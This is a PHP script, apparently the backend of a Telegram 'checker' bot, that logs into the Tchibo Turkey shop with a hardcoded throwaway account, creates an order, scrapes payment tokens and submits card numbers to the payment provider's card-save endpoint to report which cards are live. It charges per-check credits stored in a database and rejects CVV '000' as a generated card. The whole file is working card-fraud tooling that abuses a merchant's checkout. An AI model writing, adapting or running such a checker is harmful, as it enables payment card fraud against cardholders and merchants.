<?php
// PHP version of tchibo_tekli_check.py - EXACT COPY

class TchiboChecker {
    private $cookies = [];
    
    public function getCookies() {
        return $this->cookies;
    }
    
    private function setCookies($ch) {
        if (!empty($this->cookies)) {
            $cookieString = [];
            foreach ($this->cookies as $name => $value) {
                $cookieString[] = "{$name}={$value}";
            }
            curl_setopt($ch, CURLOPT_COOKIE, implode('; ', $cookieString));
        }
    }
    
    private function extractCookies($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getInitialCookies() {
        // Step 1: Get initial cookies from usermenu page
        $url = "https://www.tchibo.com.tr/usermenu";
        
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "accept-language: tr-TR,tr;q=0.9",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function login() {
        // Step 2: Login to get authentication tokens
        $url = "https://www.tchibo.com.tr/service/login/api/v1/login";
        
        $headers = [
            "accept: */*",
            "content-type: application/json",
            "origin: https://www.tchibo.com.tr",
            "referer: https://www.tchibo.com.tr/usermenu",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-hunter-csrf: x"
        ];
        
        $payload = [
            "email" => "mosquito43833@aminating.com",
            "password" => "mosquito43833@aminating.com",
            "site" => "TR"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function getCheckoutCookies() {
        // Step 3: Get checkout cookies
        $url = "https://www.tchibo.com.tr/service/checkoutfrontend/checkout";
        
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function sendOrder($debug = false) {
        // Step 4: Send Tchibo order request
        $url = "https://www.tchibo.com.tr/service/checkout/api/order";
        
        $headers = [
            "accept: application/json",
            "content-type: application/json",
            "origin: https://www.tchibo.com.tr",
            "referer: https://www.tchibo.com.tr/service/checkoutfrontend/checkout",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-app-platform: BROWSER",
            "x-hunter-site: TR",
            "x-hunter-csrf: x"
        ];
        
        $payload = [
            "checkoutState" => [
                "consents" => [
                    "cmc" => true,
                    "tac" => true,
                    "dataPrivacyTurkey" => true
                ],
                "isPaypalExpress" => false,
                "exportIbanOnOrderSubmit" => false
            ],
            "cartIdentifier" => "KMjPw+CH4PBO5/bZ8jiNeQ==",
            "customerIdentifier" => "FCtsG1v76TefjELxifsNCQ==",
            "cmcAccepted" => false,
            "productRatingConsentAccepted" => true,
            "isPaypalBillingAgreementOptInChecked" => false
        ];
        
        if ($debug) {
            echo "[DEBUG] sendOrder() - Request URL: {$url}\n";
            echo "[DEBUG] sendOrder() - Payload: " . json_encode($payload) . "\n";
            echo "[DEBUG] sendOrder() - Cookies: " . json_encode($this->cookies) . "\n";
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $body = substr($response, $headerSize);
        $curlError = curl_error($ch);
        curl_close($ch);
        
        if ($debug) {
            echo "[DEBUG] sendOrder() - HTTP Code: {$httpCode}\n";
            if ($curlError) {
                echo "[DEBUG] sendOrder() - CURL Error: {$curlError}\n";
            }
            echo "[DEBUG] sendOrder() - Response Body: {$body}\n";
        }
        
        if ($response) {
            $this->extractCookies($response);
        }
        
        $responseData = json_decode($body, true);
        
        // Handle 206 - Data changed (CUSTOMER_DATA_HAS_CHANGED or CART_DATA_HAS_CHANGED)
        if ($httpCode == 206 && isset($responseData['checkoutData'])) {
            $status = $responseData['status'] ?? 'UNKNOWN';
            if ($debug) echo "[DEBUG] sendOrder() - Got 206 {$status}, retrying...\n";
            
            $checkoutData = $responseData['checkoutData'];
            if ($checkoutData) {
                if ($debug) echo "[DEBUG] sendOrder() - Retry Payload: " . json_encode($checkoutData) . "\n";
                
                // Retry with checkout data
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($checkoutData));
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_HEADER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 15);
                $this->setCookies($ch);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $body = substr($response, $headerSize);
                curl_close($ch);
                
                if ($debug) {
                    echo "[DEBUG] sendOrder() - Retry HTTP Code: {$httpCode}\n";
                    echo "[DEBUG] sendOrder() - Retry Response: {$body}\n";
                }
                
                if ($response) {
                    $this->extractCookies($response);
                }
                
                $responseData = json_decode($body, true);
            }
        }
        
        // Get redirect URL
        $redirectUrl = $responseData['url'] ?? null;
        if ($redirectUrl) {
            if (strpos($redirectUrl, 'http') !== 0) {
                $redirectUrl = "https://www.tchibo.com.tr" . $redirectUrl;
            }
            if ($debug) echo "[DEBUG] sendOrder() - Redirect URL found: {$redirectUrl}\n";
            return $redirectUrl;
        }
        
        if ($debug) {
            echo "[DEBUG] sendOrder() - No redirect URL found\n";
            echo "[DEBUG] sendOrder() - Response data: " . json_encode($responseData) . "\n";
        }
        
        return null;
    }
    
    public function followRedirect($redirectUrl) {
        // Step 5: Follow redirect and extract tokens
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $redirectUrl);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $body = substr($response, $headerSize);
        curl_close($ch);
        
        if ($response) {
            $this->extractCookies($response);
        }
        
        // Extract PaymentXCSRF token from cookies
        $csrfToken = $this->cookies['PaymentXCSRF'] ?? null;
        
        // Extract ctrlKey from HTML - EXACT SAME PATTERNS AS PYTHON
        $ctrlPatterns = [
            '/name=["\']ctrlKey["\'][^>]*value=["\']([^"\']+)["\']/',
            '/value=["\']([^"\']+)["\'][^>]*name=["\']ctrlKey["\']/',
            '/ctrlKey["\']?\s*:\s*["\']([^"\']+)/',
            '/"ctrlKey":\s*"([^"]+)"/',
        ];
        
        $ctrlKey = null;
        foreach ($ctrlPatterns as $pattern) {
            if (preg_match($pattern, $body, $matches)) {
                $ctrlKey = trim($matches[1]);
                break;
            }
        }
        
        if ($httpCode == 200 && $csrfToken && $ctrlKey) {
            return [$csrfToken, $ctrlKey];
        }
        
        return [null, null];
    }
    
    public function validateCard($csrfToken, $ctrlKey, $cardNumber, $cardMonth, $cardYear) {
        // Step 6: Validate card - EXACT SAME AS PYTHON
        $timestamp = round(microtime(true) * 1000);
        $random = mt_rand() / mt_getrandmax();
        
        $url = "https://psp.tchibo.com.tr/VPayment/AjaxCall?r={$random}&t={$timestamp}";
        
        $headers = [
            "accept: application/json, text/javascript, */*; q=0.01",
            "content-type: application/x-www-form-urlencoded; charset=UTF-8",
            "origin: https://psp.tchibo.com.tr",
            "referer: https://psp.tchibo.com.tr/",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-requested-with: XMLHttpRequest"
        ];
        
        $payload = [
            "Shopizz_Ajax_Action_Public" => "pg_validateinteroperablecardsave",
            "ctrlKey" => $ctrlKey,
            "vics_cardnum" => $cardNumber,
            "vics_cardmonth" => $cardMonth,
            "vics_cardyear" => $cardYear,
            "vics_cardname" => "adssasd adas",
            "PaymentXCSRF" => $csrfToken
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $responseJson = json_decode($response, true);
            
            // If response is string (double encoded), decode again
            if (is_string($responseJson)) {
                $responseJson = json_decode($responseJson, true);
            }
            
            // Check result - CORRECT LOGIC
            // 1. Check if actionResult is true (SUCCESS)
            if (isset($responseJson['actionResult']) && $responseJson['actionResult'] === true) {
                return "SUCCESS";
            }
            // 2. Check if successMsg exists and not empty (SUCCESS)
            elseif (isset($responseJson['successMsg']) && !empty($responseJson['successMsg'])) {
                return "SUCCESS";
            }
            // 3. Check if errorMsg exists (FAILED with message)
            elseif (isset($responseJson['errorMsg']) && !empty($responseJson['errorMsg'])) {
                return $responseJson['errorMsg'];
            }
            // 4. Check if actionResult is false (FAILED)
            elseif (isset($responseJson['actionResult']) && $responseJson['actionResult'] === false) {
                return isset($responseJson['errorCode']) ? $responseJson['errorCode'] : "FAILED";
            }
            // 5. Unknown response format
            else {
                return json_encode($responseJson);
            }
        }
        
        return "HTTP Error: {$httpCode}";
    }
}

// Database functions
function getDbConnection() {
    try {
        $pdo = new PDO("mysql:host=localhost;dbname=checkerbotdb3", "root", "");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        return null;
    }
}

function getCurrentLimit($chatid) {
    $pdo = getDbConnection();
    if (!$pdo) return 0;
    
    $stmt = $pdo->prepare("SELECT auth2limit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    
    return $result ? (int)$result['auth2limit'] : 0;
}

function decrementLimit($chatid) {
    $pdo = getDbConnection();
    if (!$pdo) return false;
    
    $stmt = $pdo->prepare("UPDATE users SET auth2limit = auth2limit - 1 WHERE chatid = ? AND auth2limit > 0");
    $stmt->execute([$chatid]);
    
    return $stmt->rowCount() > 0;
}

// Main execution
if (!isset($_GET['card']) || !isset($_GET['chatid'])) {
    echo "ERROR: Missing parameters\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID&debug=1 (optional)\n";
    exit;
}

$chatid = $_GET['chatid'];
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    echo "ERROR: Insufficient limits (Available: {$currentLimit})\n";
    exit;
}

$cardParam = $_GET['card'];
$cardParts = explode('|', $cardParam);

if (count($cardParts) != 4) {
    echo "ERROR: Invalid card format\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV\n";
    exit;
}

$cardNumber = trim($cardParts[0]);
$cardMonth = trim($cardParts[1]);
$cardYear = trim($cardParts[2]);
$cardCvv = trim($cardParts[3]);

// 1. Kart numarası kontrolü: Tam 16 hane olmalı
if (!preg_match('/^\d{16}$/', $cardNumber)) {
    echo "ERROR: Card number must be exactly 16 digits\n";
    exit;
}

// 2. Ay kontrolü: 01-12 arası olmalı
if (!preg_match('/^(0[1-9]|1[0-2])$/', $cardMonth)) {
    echo "ERROR: Month must be between 01 and 12\n";
    exit;
}

// 3. Yıl kontrolü: 2 veya 4 hane
if (strlen($cardYear) == 2) {
    if (!preg_match('/^\d{2}$/', $cardYear)) {
        echo "ERROR: Year must be 2 or 4 digits\n";
        exit;
    }
} elseif (strlen($cardYear) == 4) {
    if (!preg_match('/^20\d{2}$/', $cardYear)) {
        echo "ERROR: 4-digit year must start with 20 (e.g., 2027)\n";
        exit;
    }
    $cardYear = substr($cardYear, 2, 2);
} else {
    echo "ERROR: Year must be 2 or 4 digits\n";
    exit;
}

// 4. CVV kontrolü: Tam 3 hane olmalı ve 000 olamaz
if (!preg_match('/^\d{3}$/', $cardCvv)) {
    echo "ERROR: CVV must be exactly 3 digits\n";
    exit;
}

if ($cardCvv === '000') {
    echo "GEN YASAK\n";
    exit;
}

// Convert year format - EXACT SAME AS PYTHON
if (strlen($cardYear) == 2) {
    $cardYear = "20" . $cardYear;
}

// Decrement limit before checking
if (!decrementLimit($chatid)) {
    echo "ERROR: Failed to decrement limit\n";
    exit;
}

$startTime = microtime(true);

// Create checker instance
$checker = new TchiboChecker();

if ($debug) {
    echo "[DEBUG] ========== AUTH2 CHECK START ==========\n";
    echo "[DEBUG] Card: {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv}\n";
    echo "[DEBUG] Chat ID: {$chatid}\n";
    echo "[DEBUG] ====================================\n\n";
}

// Step 1: Get initial cookies
if ($debug) echo "[DEBUG] Step 1: Getting initial cookies...\n";
if (!$checker->getInitialCookies()) {
    echo "ERROR: Failed to get initial cookies\n";
    exit;
}
if ($debug) {
    echo "[DEBUG] Initial cookies obtained\n";
    echo "[DEBUG] Cookies: " . json_encode($checker->getCookies()) . "\n\n";
}

// Step 2: Login
if ($debug) echo "[DEBUG] Step 2: Logging in...\n";
if (!$checker->login()) {
    echo "ERROR: Failed to login\n";
    exit;
}
if ($debug) {
    echo "[DEBUG] Login successful\n";
    echo "[DEBUG] Cookies: " . json_encode($checker->getCookies()) . "\n\n";
}

// Step 3: Get checkout cookies
if ($debug) echo "[DEBUG] Step 3: Getting checkout cookies...\n";
if (!$checker->getCheckoutCookies()) {
    echo "ERROR: Failed to get checkout cookies\n";
    exit;
}
if ($debug) {
    echo "[DEBUG] Checkout cookies obtained\n";
    echo "[DEBUG] Cookies: " . json_encode($checker->getCookies()) . "\n\n";
}

// Step 4: Send order
if ($debug) echo "[DEBUG] Step 4: Sending order...\n";
$redirectUrl = $checker->sendOrder($debug);
if (!$redirectUrl) {
    echo "ERROR: Failed to send order\n";
    exit;
}
if ($debug) {
    echo "[DEBUG] Order sent successfully\n";
    echo "[DEBUG] Redirect URL: {$redirectUrl}\n\n";
}

// Step 5: Follow redirect
if ($debug) echo "[DEBUG] Step 5: Following redirect and extracting tokens...\n";
list($csrfToken, $ctrlKey) = $checker->followRedirect($redirectUrl);
if (!$csrfToken || !$ctrlKey) {
    echo "ERROR: Failed to get tokens\n";
    if ($debug) {
        echo "[DEBUG] CSRF Token: " . ($csrfToken ?: "NOT FOUND") . "\n";
        echo "[DEBUG] Ctrl Key: " . ($ctrlKey ?: "NOT FOUND") . "\n";
    }
    exit;
}
if ($debug) {
    echo "[DEBUG] Tokens extracted successfully\n";
    echo "[DEBUG] CSRF Token: {$csrfToken}\n";
    echo "[DEBUG] Ctrl Key: {$ctrlKey}\n\n";
}

// Step 6: Validate card
if ($debug) echo "[DEBUG] Step 6: Validating card...\n";
$result = $checker->validateCard($csrfToken, $ctrlKey, $cardNumber, $cardMonth, $cardYear);
if ($debug) {
    echo "[DEBUG] Validation result: {$result}\n";
    echo "[DEBUG] ========== AUTH2 CHECK END ==========\n\n";
}

$elapsed = round(microtime(true) - $startTime, 2);
$remainingLimit = getCurrentLimit($chatid);

if ($result === "SUCCESS") {
    echo "✅ KART EKLENDİ | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐀𝐔𝐓𝐇𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} else {
    echo "❌ Kart Eklenemedi | {$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remainingLimit} 𝐀𝐔𝐓𝐇𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
}

?>
